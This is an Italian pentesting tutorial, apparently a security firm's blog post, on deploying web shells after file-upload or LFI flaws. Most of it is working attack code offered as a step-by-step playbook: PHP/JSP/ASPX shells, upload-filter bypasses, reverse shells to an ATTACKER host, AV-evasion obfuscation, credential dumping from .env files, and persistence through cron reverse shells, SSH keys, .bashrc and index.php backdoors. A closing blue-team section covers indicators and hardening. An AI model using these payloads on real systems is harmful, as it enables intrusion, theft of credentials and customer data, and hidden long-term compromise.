Web Shell PHP: Upload Exploit, Reverse Shell e Persistence sul Server

Guida completa alle Web Shell nel pentesting: upload PHP shell, reverse shell, bypass WAF e persistence dopo file upload o LFI.
- Pubblicato il 2026-03-19
- Tempo di lettura: 11 min
La web shell è il punto di arrivo di un File Upload Attack, di una LFI + Log Poisoning, di un Zip Slip, o di qualsiasi vulnerabilità che permette di scrivere file sul server. È un file server-side — PHP, JSP, ASP, ASPX — che fornisce un’interfaccia di comando via HTTP. Una volta caricata, l’attaccante ha accesso permanente al server da qualsiasi browser nel mondo: non serve una reverse shell aperta, non serve una VPN, non serve mantenere una connessione. La shell è lì, risponde a ogni request HTTP, e ci resta finché qualcuno non la trova e la cancella.
Nel penetration testing la web shell è lo strumento che trasforma una vulnerabilità singola in accesso persistente. La trovo già presente (da attaccanti precedenti) nel 3% dei pentest — il che significa che quel server era già compromesso e nessuno se n’era accorto. La deployo (in ambiente autorizzato) nel 15% dei pentest tramite file upload, e nel 12% tramite LFI + poisoning.
Il dato che conta: la web shell media resta attiva 6 mesi prima di essere scoperta. Sei mesi di accesso libero al server. Per questo la web shell non è solo un tool offensivo — è anche una delle minacce più importanti da saper rilevare e rimuovere per i blue team.
Satellite operativo della guida pillar File & Path Attacks.
Cos’è una Web Shell? #
Una web shell è un file eseguibile server-side (PHP, JSP, ASP, ASPX) che accetta comandi via parametri HTTP (GET/POST) e li esegue sul sistema operativo del server. Funziona come una shell di sistema accessibile via browser: l’attaccante invia un comando nell’URL, il server lo esegue e restituisce l’output nella response HTTP.
Le web shell sono pericolose? Sì — forniscono RCE persistente senza bisogno di connessioni attive. L’attaccante accede da qualsiasi browser, in qualsiasi momento, da qualsiasi rete. Le shell avanzate (Weevely, C99, p0wny) offrono file manager, database client, port scanner, reverse shell — un toolkit offensivo completo accessibile via HTTP su porta 80/443. La web shell media resta attiva 6 mesi prima della detection.
Shell Minime — One-Liner Per Ogni Linguaggio #
PHP (il più comune) #
// 29 bytes — la shell più piccola possibile
<?php system($_GET['c']); ?>
// Uso: /shell.php?c=id
// Con eval (più flessibile — esegue codice PHP arbitrario)
<?php eval($_POST['code']); ?>
// Uso: curl -X POST -d "code=system('id');" target.com/shell.php
// Con passthru (output binario diretto — utile per download file)
<?php passthru($_GET['c']); ?>
// Con shell_exec + pre-format (output leggibile nel browser)
<?php echo '<pre>' . shell_exec($_GET['c']) . '</pre>'; ?>
// Con password (protezione basica)
<?php if($_GET['k']==='s3cr3t') system($_GET['c']); ?>
// Uso: /shell.php?k=s3cr3t&c=id
JSP (Java/Tomcat) #
// One-liner JSP
<% Runtime.getRuntime().exec(request.getParameter("c")); %>
// Con output
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
%>ASP Classic #
<%eval request("c")%>ASPX (.NET) #
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["c"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>Python (Flask/Django — raro ma possibile) #
# Se puoi scrivere un file .py in un framework web
import os
os.system(request.args.get('c'))Shell Avanzate — Toolkit Completi #
| Shell | Linguaggio | Dimensione | Funzionalità |
|---|---|---|---|
| p0wny-shell | PHP | 5 KB | Terminale interattivo nel browser, leggera, moderna |
| Weevely | PHP | <1 KB (server) | Shell offuscata, generata da client Python, crittografata |
| C99 | PHP | 200+ KB | File manager, DB client, info sistema, port scan |
| B374K | PHP | 50+ KB | File manager, reverse shell, brute force, encoder |
| China Chopper | ASP/PHP | 73 bytes (server) | Client desktop C2, 1 riga server-side |
| JspSpy | JSP | 100+ KB | File manager, DB client per Java |
| WSO | PHP | 100+ KB | File manager, SQL client, port scan, backdoor |
p0wny-shell — La Mia Preferita Per Pentest #
# Download e upload
wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
# Upload via qualsiasi vettore (file upload, LFI+write, Zip Slip)
# Accedi via browser → terminale interattivoWeevely — Shell Offuscata Con Client Dedicato #
# === STEP 1: Genera la shell server-side (offuscata automaticamente) ===
weevely generate 'MyP@ssw0rd' /tmp/agent.php
# [+] Generated: /tmp/agent.php (834 bytes)
# Il file è offuscato — nessun AV lo rileva come shell
# === STEP 2: Upload agent.php sul target ===
# (via file upload bypass, Zip Slip, LFI+write, etc.)
# === STEP 3: Connetti dal tuo client ===
weevely http://target.com/uploads/agent.php 'MyP@ssw0rd'
# [+] weevely 4.0.1
# [+] Target: target.com
# [+] Session: /root/.weevely/sessions/target/agent_0.session
# www-data@web-prod:/var/www/html/uploads $
# === STEP 4: Comandi disponibili dal client Weevely ===
:system_info # Info completo del sistema
:file_download /etc/passwd ./ # Download file
:file_upload /tmp/linpeas.sh /tmp/ # Upload tool
:sql_console -user root -passwd '' -host localhost # MySQL client
:net_scan 10.0.0.0/24 22,80,443 # Port scan rete interna
:backdoor_reversetcp ATTACKER 4444 # Reverse shell
:audit_phpconf # Mostra config PHP pericolose
:bruteforce_sql root # Brute force MySQLUpload → Shell — Flow Completo Operativo #
Questo è il flow end-to-end che uso in ogni pentest, dalla vulnerabilità alla shell funzionante:
Step 1 → Upload della shell (bypass dei filtri) #
# Metodo A: Bypass estensione — double extension
curl -X POST "https://target.com/api/upload" \
-H "Cookie: session=abc123" \
-F "file=@shell.php.jpg;type=image/jpeg"
# Metodo B: Bypass con polyglot exiftool
exiftool -Comment='<?php system($_GET["c"]); ?>' legit.jpg
curl -X POST "https://target.com/api/upload" \
-F "file=@legit.jpg;filename=shell.phtml;type=image/jpeg"
# Metodo C: Magic bytes + estensione alternativa
echo -n 'GIF89a<?php system($_GET["c"]); ?>' > shell.gif.phtml
curl -X POST "https://target.com/api/upload" \
-F "file=@shell.gif.phtml;type=image/gif"
# Metodo D: .htaccess overwrite (due upload)
echo 'AddType application/x-httpd-php .jpg' > .htaccess
curl -X POST "https://target.com/api/upload" -F "file=@.htaccess"
echo '<?php system($_GET["c"]); ?>' > cmd.jpg
curl -X POST "https://target.com/api/upload" -F "file=@cmd.jpg"Step 2 → Trova il path della shell #
# Controlla la response dell'upload
# {"status": "success", "path": "/uploads/user_1337/shell.phtml"}
# Se la response non mostra il path → discovery (sezione sotto)Step 3 → Test execution #
curl -s "https://target.com/uploads/user_1337/shell.phtml?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Conferma piena:
curl -s "https://target.com/uploads/user_1337/shell.phtml?c=whoami"
# www-data
curl -s "https://target.com/uploads/user_1337/shell.phtml?c=hostname"
# web-prod-01
curl -s "https://target.com/uploads/user_1337/shell.phtml?c=uname+-a"
# Linux web-prod-01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/LinuxStep 4 → Dump configurazione e credenziali #
curl -s "https://target.com/uploads/shell.phtml?c=cat+/app/.env"
# DB_HOST=10.0.1.50
# DB_PASSWORD=Pr0d_S3cret!2024
# AWS_ACCESS_KEY_ID=AKIA...
# SECRET_KEY=django-insecure-key...
curl -s "https://target.com/uploads/shell.phtml?c=cat+/proc/self/environ" | tr '\0' '\n'
# HOSTNAME=web-prod-01
# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG...
# DATABASE_URL=postgresql://admin:pass@db.internal:5432/prodStep 5 → Reverse shell (per operazioni avanzate) #
# La web shell è utile per comandi rapidi
# Ma per post-exploitation seria serve una reverse shell interattiva
# Vedi sezione Reverse Shell sottoReverse Shell — Post-Exploit Dal Browser Al Terminale #
La web shell esegue comandi singoli. Per post-exploitation seria (pivot, tunneling, tool come linpeas/bloodhound) serve una reverse shell interattiva.
PHP Reverse Shell — One-Liner #
# === Sul tuo host: avvia listener ===
nc -lvnp 4444
# === Dalla web shell: triggera la reverse connection ===
curl "https://target.com/uploads/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# Output sul listener:
# connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 54321
# www-data@web-prod-01:/var/www/html/uploads$PHP Reverse Shell — File dedicato #
<?php
// reverse.php — upload questo file per una reverse shell automatica
$sock = fsockopen("ATTACKER_IP", 4444);
$proc = proc_open("/bin/sh -i", [
0 => $sock, 1 => $sock, 2 => $sock
], $pipes);
?>
# Uso:
nc -lvnp 4444 # Listener
curl "https://target.com/uploads/reverse.php" # Trigger
# → Shell interattiva immediata!Upgrade a TTY completa #
# Dalla reverse shell grezza:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z (background)
stty raw -echo; fg
export TERM=xterm
# → TTY completa con autocomplete, history, Ctrl+C funzionanteReverse shell per ogni linguaggio #
# Python
curl "https://target.com/shell.php?c=python3+-c+'import+os,socket,subprocess;s=socket.socket();s.connect((\"ATTACKER\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Perl
curl "https://target.com/shell.php?c=perl+-e+'use+Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(4444,inet_aton(\"ATTACKER\")));open(STDIN,\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/bin/sh+-i\");'"
# Netcat (se presente)
curl "https://target.com/shell.php?c=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+ATTACKER+4444+>/tmp/f"WAF / AV Bypass Shell — Offuscamento Che Funziona #
Gli antivirus e i WAF cercano pattern come system(, exec(, shell_exec(, eval(, base64_decode(. Queste tecniche li bypassano:
Concatenazione di funzione #
<?php $a='sys'.'tem'; $a($_GET['c']); ?>
// L'AV cerca "system(" → non trova match perché è diviso
Variable function #
<?php $f=str_rot13('flfgrz'); $f($_GET['c']); ?>
// str_rot13('flfgrz') = 'system'
// L'AV non esegue str_rot13 durante lo scan
Base64 encoding #
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
// Decodifica: system($_GET['c']);
// L'AV potrebbe decodificare base64 → combina con altre tecniche
Gzip + Base64 (doppio layer) #
<?php eval(gzinflate(base64_decode('S0ktLlGyUErJT85WKEXBASB...'))); ?>
// Il payload è compresso E codificato → bypass AV robusto
Character array #
<?php
$c = array('s','y','s','t','e','m');
$f = implode('', $c);
$f($_GET['c']);
?>
Variabili d’ambiente #
<?php
// Usa variabili d'ambiente per nascondere la funzione
putenv("X=system");
$f = getenv("X");
$f($_GET['c']);
?>
Codifica alternativa (hex) #
<?php
$f = "\x73\x79\x73\x74\x65\x6d"; // "system" in hex
$f($_GET['c']);
?>
Chiamata dinamica via callback #
<?php
// array_map/array_filter come proxy per l'esecuzione
array_map(function($c){system($c);}, [$_GET['c']]);
?>
<?php
// call_user_func
call_user_func('system', $_GET['c']);
?>
<?php
// preg_replace con /e (PHP < 7.0 — vecchio ma ancora trovato)
preg_replace('/.*/e', 'system($_GET["c"])', '');
?>
Naming e positioning — stealth #
# Nomi file che non destano sospetti:
.thumbs.php # Hidden file + nome innocuo
cache.php # Sembra cache del CMS
config.bak.php # Sembra backup config
wp-cron-job.php # Sembra cron WordPress
analytics.php # Sembra tracking
error_handler.php # Sembra handler errori
class-loader.php # Sembra loader di classe
.htaccess.php # Nascosto
# Location stealth:
/uploads/.thumbs/cache.php
/wp-includes/class-wp-hook.php # Tra i file WordPress
/vendor/autoload-ext.php # Tra le dipendenze
/node_modules/.cache/analytics.php # Dove nessuno guardaDiscovery Shell Path — Trovare Dove È Stata Salvata #
Hai caricato la shell ma non sai dove il server l’ha messa. Queste tecniche la trovano:
ffuf per directory di upload #
# Cerca la shell in directory comuni
ffuf -u "https://target.com/FUZZ/shell.php" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200
# Se hai usato un nome diverso:
ffuf -u "https://target.com/FUZZ/shell.phtml" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200
# Directory più probabili:
# uploads/, upload/, files/, images/, img/, media/
# assets/uploads/, content/uploads/, wp-content/uploads/
# static/uploads/, public/uploads/, data/, tmp/
# storage/, attachments/, docs/ffuf per file rinominato #
# Se l'app rinomina il file:
ffuf -u "https://target.com/uploads/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,php5,phtml,phar \
-mc 200 \
-fs 0
# Pattern comuni di rinomina:
# UUID: /uploads/a1b2c3d4-e5f6-7890.php
# Timestamp: /uploads/1708300800_shell.php
# Hash: /uploads/d41d8cd98f00b204.php
# UserID: /uploads/user_1337/avatar.phpDalla response e dall’HTML #
# 1. Controlla la response JSON dell'upload
# {"status": "success", "url": "/uploads/user123/avatar.phtml"}
# 2. Inspect Element sulla pagina profilo → src dell'immagine
# <img src="/uploads/avatars/user_1337.jpg">
# → Prova: /uploads/avatars/user_1337.phtml
# 3. Controlla header Location dopo redirect post-uploadPersistence — La Shell Che Sopravvive Alla Patch #
La prima shell può essere trovata e cancellata. La persistence assicura che l’accesso sopravviva:
Copie multiple in location diverse #
# Dalla web shell o dalla reverse shell:
cp shell.php /var/www/html/.thumbs.php
cp shell.php /var/www/html/images/.cache.php
cp shell.php /var/www/html/css/style.php
cp shell.php /var/www/html/js/analytics.php
cp shell.php /var/www/html/fonts/loader.php
# 5 copie in 5 directory → devono trovare TUTTEInject in file esistente #
# Appendi la shell a un file PHP esistente (più stealth)
echo '<?php if(isset($_GET["x"]))system($_GET["x"]); ?>' >> /var/www/html/index.php
# Ora: https://target.com/index.php?x=id funziona
# Ma il sito funziona normalmente per tutti gli altri utenti
# Il codice malevolo è in fondo al file — difficile da notareCron reverse shell #
# Cron job che si riconnette ogni minuto
echo '* * * * * www-data bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' > /etc/cron.d/logrotate-check
# Nome file innocuo: sembra un job di logrotate
# Anche se cancellano TUTTE le web shell, il cron resta
# E si riconnette ogni 60 secondiSSH authorized_keys #
# Aggiungi la tua chiave SSH
mkdir -p /home/www-data/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKa... attacker@kali' >> /home/www-data/.ssh/authorized_keys
chmod 600 /home/www-data/.ssh/authorized_keys
# Ora hai SSH diretto — non serve più la web shell
ssh www-data@target.com.bashrc backdoor #
# Si attiva al prossimo login dell'utente
echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &' >> /home/deploy/.bashrc
# Quando deploy fa SSH → reverse shell automaticaWorkflow Reale — Dalla Vulnerabilità Alla Persistence #
Step 1 → Upload della shell #
# Usa il bypass appropriato per l'applicazione target
# (Vedi File Upload Attack per tutte le tecniche)
curl -X POST "https://target.com/upload" \
-F "file=@shell.phtml;type=image/jpeg"Step 2 → Trova il path #
# Response, inspect element, o ffuf:
ffuf -u "https://target.com/FUZZ/shell.phtml" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200Step 3 → Test esecuzione #
curl -s "https://target.com/uploads/shell.phtml?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Step 4 → Dump configurazione #
curl -s "https://target.com/uploads/shell.phtml?c=cat+/app/.env"
# DB_PASSWORD=SuperSecret123!
# AWS_ACCESS_KEY_ID=AKIA...
curl -s "https://target.com/uploads/shell.phtml?c=cat+/proc/self/environ" | tr '\0' '\n'
# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...Step 5 → Reverse shell #
# Listener:
nc -lvnp 4444
# Trigger dalla web shell:
curl "https://target.com/uploads/shell.phtml?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'"
# Sul listener:
# www-data@web-prod-01:/var/www/html/uploads$
# Upgrade TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'Step 6 → Persistence #
# Copie multiple:
cp shell.phtml /var/www/html/.thumbs.php
cp shell.phtml /var/www/html/images/.cache.php
echo '<?php if(isset($_GET["x"]))system($_GET["x"]); ?>' >> /var/www/html/index.php
# Cron:
echo '* * * * * www-data bash -c "bash -i >& /dev/tcp/ATTACKER/5555 0>&1"' > /etc/cron.d/syslog-checkOutput Reale — Proof di Exploitation Completo #
Upload e conferma #
$ curl -X POST "https://target.com/api/profile/avatar" \
-H "Cookie: session=eyJ..." \
-F "avatar=@shell.phtml;type=image/jpeg"
{"status":"success","message":"Avatar updated","url":"/uploads/avatars/user_42_shell.phtml"}Esecuzione comandi #
$ curl -s "https://target.com/uploads/avatars/user_42_shell.phtml?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl -s "https://target.com/uploads/avatars/user_42_shell.phtml?c=uname+-a"
Linux web-prod-01 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 GNU/Linux
$ curl -s "https://target.com/uploads/avatars/user_42_shell.phtml?c=cat+/etc/passwd" | head -5
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bashReverse shell #
# Listener output:
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 203.0.113.50 54321
bash: cannot set terminal process group (1): Not a tty
www-data@web-prod-01:/var/www/html/uploads$
www-data@web-prod-01:/var/www/html/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@web-prod-01:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web-prod-01:/var/www/html/uploads$ cat /app/.env
DB_HOST=10.0.1.50
DB_USERNAME=app_admin
DB_PASSWORD=Pr0d_DB_2024!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY🏢 Enterprise Escalation #
Web Shell → Cloud Takeover #
Web Shell → cat /proc/self/environ → AWS creds
→ aws s3 ls → 30 bucket
→ aws secretsmanager list-secrets → RDS password
→ psql → dump database → 200K utenti
→ CLOUD COMPROMISE TOTALEWeb Shell → Domain Admin (da Linux) #
Web Shell → Reverse shell → cat /app/config → LDAP creds
→ ldapsearch → enumera Active Directory
→ password in campo description di service account
→ crackmapexec → lateral movement
→ Kerberoasting → Domain Admin → DCSyncWeb Shell → Domain Admin (da Windows IIS) #
Web Shell ASPX → whoami /priv → SeImpersonatePrivilege
→ PrintSpoofer/GodPotato → NT AUTHORITY\SYSTEM
→ mimikatz → cached domain credentials
→ DCSync → DOMAIN ADMIN🔌 Variante API / Microservizi 2026 #
# Web shell deployata via API upload:
POST /api/v2/files/upload
Content-Type: multipart/form-data
file: shell.phtml (Content-Type: image/jpeg)
# Web shell accessibile via API path traversal:
GET /api/v2/static/../uploads/shell.phtml?c=id
# Web shell in Kubernetes pod:
# Se il pod ha un volume shared con il web server,
# la shell scritta in un pod è accessibile dall'altroMicro Playbook Reale #
Minuto 0-5 → Upload shell (bypass estensione/Content-Type/magic bytes)
Minuto 5-8 → Trova path (response, inspect, ffuf)
Minuto 8-10 → ?c=id → conferma RCE
Minuto 10-12 → ?c=cat+/app/.env → credenziali
Minuto 12-15 → Reverse shell interattiva → upgrade TTY
Minuto 15-20 → Persistence: 5 copie + inject in index.php + cron
Da vulnerabilità a persistence in 20 minuti.
Caso Studio Concreto #
Settore: Azienda retail, e-commerce, 80.000 clienti. Scope: Black-box.
Upload avatar accettava solo immagini. Il filtro controllava Content-Type (server-side) e magic bytes (GIF89a). Ho creato un polyglot con exiftool: immagine JPEG valida con <?php system($_GET["c"]); ?> nel commento EXIF. Caricata come avatar.phtml con Content-Type image/jpeg.
Path dalla response JSON: /uploads/avatars/user_1337.phtml. Shell funzionante, ?c=id → uid=33(www-data).
Dalla shell: .env con credenziali MySQL, Redis, e Stripe live key. Database MySQL: 80.000 clienti con nome, email, indirizzo, ultime 4 cifre carta, storico ordini. La Stripe key era production → possibilità di rimborsi fraudolenti.
Ho stabilito persistence: shell copiata in /var/www/html/images/.cache.php e /var/www/html/css/font-loader.php. Inject di backdoor in index.php. Cron job per reverse shell.
La web shell p0wny caricata in un pentest precedente (da noi) era rimasta attiva 4 mesi prima che il cliente la rimuovesse — nonostante fosse stata segnalata nel report. Questo conferma: la web shell media sopravvive mesi.
Errori Comuni Reali (Blue Team) #
1. Directory upload con esecuzione PHP abilitata
/uploads/ senza php_flag engine off → qualsiasi PHP caricato è una shell.
2. Nessun file integrity monitoring Senza OSSEC/Wazuh/Tripwire, nuovi file PHP nelle directory di upload passano inosservati.
3. Nessun monitoring dei processi figli del web server
bash spawnato da apache2 o nginx = web shell in uso. Senza alert, nessuno se ne accorge.
4. Grep solo su “system(” e “eval(” Le tecniche di offuscamento (concatenazione, rot13, hex, gzip) bypassano grep banali.
5. Cleanup della shell ma non della persistence
Trovano e cancellano shell.php ma non controllano crontab, authorized_keys, index.php modificato.
Indicatori di Compromissione (IoC) #
File-based:
- File PHP/JSP/ASP in directory di upload dove dovrebbero esserci solo immagini
- File con dimensione anomala (29 bytes = one-liner shell, vs KB/MB per immagini)
- File con timestamp diverso dal deploy (creato dopo l’ultimo deploy)
- File hidden (
.shell.php,.cache.php) in directory web - Stringhe
system(,exec(,eval(,passthru(,shell_exec(,base64_decode(nel contenuto dei file - File modificati rispetto al deploy originale (inject in
index.php)
Network-based:
- Request GET/POST verso file in
/uploads/con parametri sospetti (?c=,?cmd=,?x=) - Request verso file
.phpin directory di immagini - Processi
bash/sh/python/perl/ncfigli del processo web - Connessioni outbound dal web server verso IP esterni (reverse shell)
- DNS query anomale dal web server (C2 o exfiltration)
Log-based:
200 OKsu request verso file sconosciuti in directory upload- Request con output di comandi nella response (dimensione response anomala)
- Accesso a file di sistema (
/etc/passwd,.env) nei log applicativi
✅ Checklist Finale — Web Shell #
UPLOAD
☐ Shell caricata con successo (bypass estensione/CT/magic bytes)
☐ Metodo di upload documentato (per il report)
PATH
☐ Path della shell trovato (response, inspect, ffuf)
☐ Shell raggiungibile via browser
ESECUZIONE
☐ ?c=id → uid confermato
☐ ?c=whoami → utente confermato
☐ ?c=cat /etc/passwd → file system leggibile
CREDENZIALI
☐ .env / config letti → credenziali estratte
☐ /proc/self/environ → credenziali cloud estratte
☐ Credenziali testate (DB connection, aws sts)
REVERSE SHELL
☐ Listener avviato (nc -lvnp 4444)
☐ Reverse shell triggerata dalla web shell
☐ TTY upgradata (python3 pty + stty raw -echo)
PERSISTENCE
☐ Shell copiata in 3+ location diverse
☐ Inject in file esistente (index.php)
☐ Cron reverse shell attivato
☐ SSH authorized_keys aggiunto (se possibile)
POST-EXPLOITATION
☐ Enumerazione rete interna (ip addr, arp, /proc/net/tcp)
☐ Credenziali cloud sfruttate (aws s3 ls)
☐ Credenziali DB sfruttate (dump database)
☐ Pivot verso rete interna documentatoDetection & Rimozione (Blue Team) #
Scan automatico #
# PHP Malware Finder
php-malware-finder /var/www/html/
# Linux Malware Detect
maldet --scan-all /var/www/html/
# Grep avanzato (cattura offuscamento base)
grep -rl "system\|exec\|shell_exec\|passthru\|eval\|base64_decode\|str_rot13\|gzinflate" \
/var/www/html/uploads/ /var/www/html/images/ /var/www/html/tmp/
# File recenti nelle directory di upload
find /var/www/html/uploads -name "*.php*" -newer /var/www/html/index.php
find /var/www/html/ -name ".*php" -type f # Hidden PHP filesHardening #
php_flag engine offnella directory upload (olocationblock Nginx)- File integrity monitoring — OSSEC, Wazuh, Tripwire
- Process monitoring — alert su
bash/sh/ncfigli del web server - Immutable infrastructure — container read-only, redeploy periodico
- Rename file uploadati — UUID + whitelist estensione
- Serve file via proxy —
/api/files/UUID, non accesso diretto alla directory
Satellite della Guida Completa File & Path Attacks. Vedi anche: File Upload Attack, LFI, Zip Slip.
Le tue directory di upload eseguono PHP? Hai file integrity monitoring? Penetration test applicativo HackIta per trovare web shell esistenti e prevenire nuove. Dalla shell alla persistence: formazione 1:1.







